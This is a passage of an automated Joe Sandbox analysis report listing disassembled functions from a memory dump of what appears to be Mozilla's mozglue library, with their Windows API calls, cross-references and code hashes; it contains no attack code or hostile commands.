MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6CDEE722, 6CDEE750, 6CDEE7A2
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6CDEE777
MOZ_PROFILER_STARTUP, xrefs: 6CDEE5A1, 6CDEE5CC, 6CDEE5FF, 6CDEE62A

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: ad447c76bfef0b3164b7ffca9d57740212d3b52937c1ea9dbf4fe129b942004e
Instruction ID: 90c3579f99eea137134e4b6383daa1412a0939fbb02dabef70329670f5795d61
Opcode Fuzzy Hash: ad447c76bfef0b3164b7ffca9d57740212d3b52937c1ea9dbf4fe129b942004e
Instruction Fuzzy Hash: B911C431A046A8DFCB009F14C849B69FBB4FBC9728F110619E84687A50C7BCA905CFD1

Function 6CDF0C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CDF0CD5

Part of subcall function 6CDDF960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CDDF9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CDF0D40
free.MOZGLUE ref: 6CDF0DCB

Part of subcall function 6CDC5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CDC5EDB
Part of subcall function 6CDC5E90: memset.VCRUNTIME140(ewl,000000E5,?), ref: 6CDC5F27
Part of subcall function 6CDC5E90: LeaveCriticalSection.KERNEL32(?), ref: 6CDC5FB2

free.MOZGLUE ref: 6CDF0DDD
free.MOZGLUE ref: 6CDF0DF2

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: 91cebea2fab37d33878e465a373a5b73bfc858e37a625d04001695c8210d18de
Instruction ID: 6080cdce21f2d2f291cbcf0df6848282f1db3c27a22f56b89cdc85473fe71b03
Opcode Fuzzy Hash: 91cebea2fab37d33878e465a373a5b73bfc858e37a625d04001695c8210d18de
Instruction Fuzzy Hash: 82412975A08780CBD320CF29C44179AFBE5BFC5754F118A2EE8E887B61D770A446CB92

Function 6CDFCCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6CDEDA31,00100000,?,?,00000000,?), ref: 6CDFCDA4

Part of subcall function 6CDBCA10: malloc.MOZGLUE(?), ref: 6CDBCA26

Part of subcall function 6CDFD130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6CDFCDBA,00100000,?,00000000,?,6CDEDA31,00100000,?,?,00000000,?), ref: 6CDFD158
Part of subcall function 6CDFD130: InitializeConditionVariable.KERNEL32(00000098,?,6CDFCDBA,00100000,?,00000000,?,6CDEDA31,00100000,?,?,00000000,?), ref: 6CDFD177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6CDEDA31,00100000,?,?,00000000,?), ref: 6CDFCDC4

Part of subcall function 6CDF7480: ReleaseSRWLockExclusive.KERNEL32(?,6CE015FC,?,?,?,?,6CE015FC,?), ref: 6CDF74EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6CDEDA31,00100000,?,?,00000000,?), ref: 6CDFCECC

Part of subcall function 6CDBCA10: mozalloc_abort.MOZGLUE(?), ref: 6CDBCAA2

Part of subcall function 6CDECB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6CDFCEEA,?,?,?,?,00000000,?,6CDEDA31,00100000,?,?,00000000), ref: 6CDECB57
Part of subcall function 6CDECB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6CDECBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6CDFCEEA,?,?), ref: 6CDECBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6CDEDA31,00100000,?,?,00000000,?), ref: 6CDFD058

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: c1d18177fbee25d85a378cd074e5dffbcc5b80b845ec8b555e5843e49a81a1c6
Instruction ID: ed8e0737ef74f2aa740f16c38aac4ff46ada6329c7d9a125fb592b1383354f50
Opcode Fuzzy Hash: c1d18177fbee25d85a378cd074e5dffbcc5b80b845ec8b555e5843e49a81a1c6
Instruction Fuzzy Hash: 95D17F71A04B469FD718CF28C480799F7F1BF89304F01862DD8698B761EB31E9A5CB91

Function 6CDB1720 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6CDB17B2
memset.VCRUNTIME140(?,00000000,?,?), ref: 6CDB18EE
free.MOZGLUE(?), ref: 6CDB1911
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CDB194C

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturnfreememcpymemset
String ID:
API String ID: 3725304770-0
Opcode ID: 2827b76dc7a59d1f36a78e4247b1e99f3a42e63fd12170aae1303d6b34d7f8f1
Instruction ID: dec028971be6271086b702dda42a55d58190a884dc261d94c757c53978e2c58a
Opcode Fuzzy Hash: 2827b76dc7a59d1f36a78e4247b1e99f3a42e63fd12170aae1303d6b34d7f8f1
Instruction Fuzzy Hash: 0781E4B4A10315DFCB08CF68D8949AEBBB1FF89314F04452CE852AB764D730E959CBA1

Function 6CDC5C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6CDC5D40
EnterCriticalSection.KERNEL32(6CE2F688), ref: 6CDC5D67
__aulldiv.LIBCMT ref: 6CDC5DB4
LeaveCriticalSection.KERNEL32(6CE2F688), ref: 6CDC5DED

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: ac39aaf5b16003896dccf6bc688d9a4458aaaf02ba024a9964cc38fed89b642e
Instruction ID: 29434441b6f25bc22c4434f88774ff00f43c340f568315d7ae13e580bd5668d3
Opcode Fuzzy Hash: ac39aaf5b16003896dccf6bc688d9a4458aaaf02ba024a9964cc38fed89b642e
Instruction Fuzzy Hash: E5516E71F002298FCF08CFA8C954BAEBBB6FB85304F194629D811A7760D7786945CBD1

Function 6CDACDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6CDACEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6CDACEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6CDACF4E

Strings

0, xrefs: 6CDACF30

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: 525422b360e4b6277e440de9142d3a3105ba2e443a1d65cf7010f53d51bd3e3f
Instruction ID: 759c0e49c77efeb26871c787e93c10090e4c38472c2df3762820f627078345cd
Opcode Fuzzy Hash: 525422b360e4b6277e440de9142d3a3105ba2e443a1d65cf7010f53d51bd3e3f
Instruction Fuzzy Hash: 97512371A04256CFCB00CF18C490AAABBB5EF99314F19859DD8595F751D732ED06CBE0

Function 6CE077D0 Relevance: 6.1, APIs: 4, Instructions: 113stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE077FA
?StringToDouble@StringToDoubleConverter@double_conversion@@QBENPBDHPAH@Z.MOZGLUE(00000001,00000000,?), ref: 6CE07829

Part of subcall function 6CDDCC38: GetCurrentProcess.KERNEL32(?,?,?,?,6CDA31A7), ref: 6CDDCC45
Part of subcall function 6CDDCC38: TerminateProcess.KERNEL32(00000000,00000003,?,?,?,?,6CDA31A7), ref: 6CDDCC4E

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6CE0789F
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6CE078CF

Part of subcall function 6CDA4DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CDA4E5A
Part of subcall function 6CDA4DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6CDA4E97

Part of subcall function 6CDA4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6CDE3EBD,6CDE3EBD,00000000), ref: 6CDA42A9

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$DtoaProcessstrlen$Ascii@Builder@2@Builder@2@@Converter@CreateCurrentDecimalDouble@EcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestTerminateV12@
String ID:
API String ID: 2525797420-0
Opcode ID: 2936f6cd637b8bc0a39a3758380a064bfba72c832deca78cde5af03d5d2aacb2
Instruction ID: 3af1578d2bed95a1e03f129a09285b85ef6d763ce6120872a9c793bf7e98af22
Opcode Fuzzy Hash: 2936f6cd637b8bc0a39a3758380a064bfba72c832deca78cde5af03d5d2aacb2
Instruction Fuzzy Hash: 9141B071A047469FD300DF29C48056BFBF4FF8A254F204A2DE4A987650DB70E55ACBE2

Function 6CDE6470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6CDE82BC,?,?), ref: 6CDE649B

Part of subcall function 6CDBCA10: malloc.MOZGLUE(?), ref: 6CDBCA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CDE64A9

Part of subcall function 6CDDFA80: GetCurrentThreadId.KERNEL32 ref: 6CDDFA8D
Part of subcall function 6CDDFA80: AcquireSRWLockExclusive.KERNEL32(6CE2F448), ref: 6CDDFA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CDE653F
free.MOZGLUE(?), ref: 6CDE655A

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: 60ee438ff6b196f9a728eb5858a8e1b21e16168355cc8ac219ec0132b90fcff0
Instruction ID: be544575b1e56693ee3b15fade661a6d5c187e4766d958b5de7bd52c08f4ebda
Opcode Fuzzy Hash: 60ee438ff6b196f9a728eb5858a8e1b21e16168355cc8ac219ec0132b90fcff0
Instruction Fuzzy Hash: B4318FB5A043459FC700CF24D880A9EBBF4FF89314F01482EE99A97751DB34E919CB92

Function 6CDDFF60 Relevance: 6.1, APIs: 4, Instructions: 83COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,80000001,80000000,?,6CDFD019,?,?,?,?,?,00000000,?,6CDEDA31,00100000,?), ref: 6CDDFFD3
memcpy.VCRUNTIME140(00000000,?,?,?,6CDFD019,?,?,?,?,?,00000000,?,6CDEDA31,00100000,?,?), ref: 6CDDFFF5
free.MOZGLUE(?,?,?,?,?,6CDFD019,?,?,?,?,?,00000000,?,6CDEDA31,00100000,?), ref: 6CDE001B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,6CDFD019,?,?,?,?,?,00000000,?,6CDEDA31,00100000,?,?), ref: 6CDE002A

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: memcpy$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 826125452-0
Opcode ID: b1eb6028471044408c8980ee945ebafc9ebb8455f7c994844cb26ee2cbb4b6bd
Instruction ID: 3342782386917b9f27e1db40b78f1d482bc90aa44f75125727cc2c3fc793eb8e
Opcode Fuzzy Hash: b1eb6028471044408c8980ee945ebafc9ebb8455f7c994844cb26ee2cbb4b6bd
Instruction Fuzzy Hash: 2721C1B2F002155BD7189FB89C948AEB7BAEB893247250338E425D7790EA70AD0587A1

Function 6CDBB4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CDBB4F5
AcquireSRWLockExclusive.KERNEL32(6CE2F4B8), ref: 6CDBB502
ReleaseSRWLockExclusive.KERNEL32(6CE2F4B8), ref: 6CDBB542
free.MOZGLUE(?), ref: 6CDBB578

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 9e37113524bdadb671dee77a35e626e11361200c05cdddccbae03b6af8df4139
Instruction ID: 864bdf8cd4135c69deb7d67c45fbbfb5b7a6bca93bc0195adc0a0a4241b70093
Opcode Fuzzy Hash: 9e37113524bdadb671dee77a35e626e11361200c05cdddccbae03b6af8df4139
Instruction Fuzzy Hash: 08110370E04B45D7D3118F29C940BA1B3F4FF96718F10970AE88B63A11EBB9B1C58792

Function 6CDE3DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6CDAF20E,?), ref: 6CDE3DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6CDAF20E,00000000,?), ref: 6CDE3DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CDE3E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6CDE3E0E

Part of subcall function 6CDDCC00: GetCurrentProcess.KERNEL32(?,?,6CDA31A7), ref: 6CDDCC0D
Part of subcall function 6CDDCC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6CDA31A7), ref: 6CDDCC16

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: caf10bc6f8b8462193cb8373eae90cd55434efcbec804bc8f98a4d607024ab35
Instruction ID: b8e732c8553483c375aaefbdc0915dd9a00dd382b356eb0382b0515ab4582a4e
Opcode Fuzzy Hash: caf10bc6f8b8462193cb8373eae90cd55434efcbec804bc8f98a4d607024ab35
Instruction Fuzzy Hash: 89F08271A002087BE700AB54DC41EBB373DEB46624F040020FE0857700D639FD2586F7

Function 6CDF20B0 Relevance: 6.0, APIs: 4, Instructions: 28threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CDF20B7
AcquireSRWLockExclusive.KERNEL32(00000000,?,6CDDFBD1), ref: 6CDF20C0
ReleaseSRWLockExclusive.KERNEL32(00000000,?,6CDDFBD1), ref: 6CDF20DA
free.MOZGLUE(00000000,?,6CDDFBD1), ref: 6CDF20F1

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 8b4950a019108b298481d085e820e25d7e419e4a7875e12503f2ddb02c3ea175
Instruction ID: 39ded8a138b6040dd22635f1557cf152ecb23408216551bb89fc46cf2f3e0825
Opcode Fuzzy Hash: 8b4950a019108b298481d085e820e25d7e419e4a7875e12503f2ddb02c3ea175
Instruction Fuzzy Hash: E9E06C316006149BC6209F25980868EB7FDFF862687150516E547C3710D775F54786D5

Function 6CDF85B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6CDF85D3

Part of subcall function 6CDBCA10: malloc.MOZGLUE(?), ref: 6CDBCA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6CDF8725

Strings

map/set<T> too long, xrefs: 6CDF8720

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: 5fb16ce540bfcf0642a109a4d769268ed98914f1790c1bd44fd8a7ee7db024a1
Instruction ID: 2aa5b5e9adbe1f17b4c4e989821fe35df30b26b764023ab84a66371135589670
Opcode Fuzzy Hash: 5fb16ce540bfcf0642a109a4d769268ed98914f1790c1bd44fd8a7ee7db024a1
Instruction Fuzzy Hash: 8F515674A04641CFD701CF19C884B59BBF1BF4A318F1AC19AD8695BB62C375E886CF92

Function 6CDABD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6CDABDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6CDABE8F

Strings

0, xrefs: 6CDABE5B

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: ca224102a9eb1a9c758c9264dcaf6148b3ffffa3f755cfbe4144922f2beb5155
Instruction ID: f9b50a1b19faa3e4b3352f88275ae22337927327dd29b7aa267e394df65120a8
Opcode Fuzzy Hash: ca224102a9eb1a9c758c9264dcaf6148b3ffffa3f755cfbe4144922f2beb5155
Instruction Fuzzy Hash: FE41C371909749EFC701CF78C481A9BBBF4AF8A348F004A1DF98557661E730DA5A8B92

Function 6CDE3CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CDE3D19
mozalloc_abort.MOZGLUE(?), ref: 6CDE3D6C

Strings

d, xrefs: 6CDE3D58

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: dccd33500ab7e51c3e8f7cf499aa0b346610ab13776536d7174532ce0a693524
Instruction ID: bfa822980f89e1905f928dd3552a4b21d5c654e8756db8cae7f155f42e66b0e7
Opcode Fuzzy Hash: dccd33500ab7e51c3e8f7cf499aa0b346610ab13776536d7174532ce0a693524
Instruction Fuzzy Hash: 73115735E04788D7DB018FA9CC055FDB375EF9A318B458218DC4497632EB34A6D4C360

Function 6CDB4730 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6CDB44B2,6CE2E21C,6CE2F7F8), ref: 6CDB473E
GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6CDB474A

Strings

GetNtLoaderAPI, xrefs: 6CDB4744

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetNtLoaderAPI
